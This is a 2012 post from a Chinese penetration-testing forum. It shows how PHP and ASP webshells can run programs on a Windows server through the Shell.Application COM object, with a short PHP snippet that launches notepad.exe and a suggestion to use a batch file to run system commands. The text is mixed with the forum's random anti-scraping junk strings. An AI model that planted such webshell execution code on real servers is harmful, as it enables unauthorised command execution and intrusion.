中国网络渗透测试联盟
标题:
php和asp利用Shell.Application来执行程序
[打印本页]
作者:
admin
时间:
2012-9-15 14:29
标题:
php和asp利用Shell.Application来执行程序
关于用Shell.Application来执行程序，在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
( i, i D$ r! R' F
1 o) }7 _/ l0 ~5 Y. f6 Z- f0 `
今天试了一下，用open也可以。php代码如下，我好像还没有在php的webshell中看到相关方法
) Q: w1 |5 c4 s; {& }% e. o
# F4 b4 ~; @( D6 J! U4 ^0 \+ u* J& E
<?php
+ r& k( T4 M0 ?& u, X3 u
$wsh = new COM('Shell.Application') or die("Shell.Application");
5 p4 |! I) c. L; g
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
) n( g: D, }2 ]5 _4 ]
//没有回显，多了个notepad进程，可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
# q5 u4 W7 e. C9 d4 y) v7 J
?>
$ o2 ]: U5 t$ U- g$ w
; [1 Y! `: `: \3 L* S' _/ p
xp+APMServ5.2.0测试通过。
4 `$ T5 }1 V/ n
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2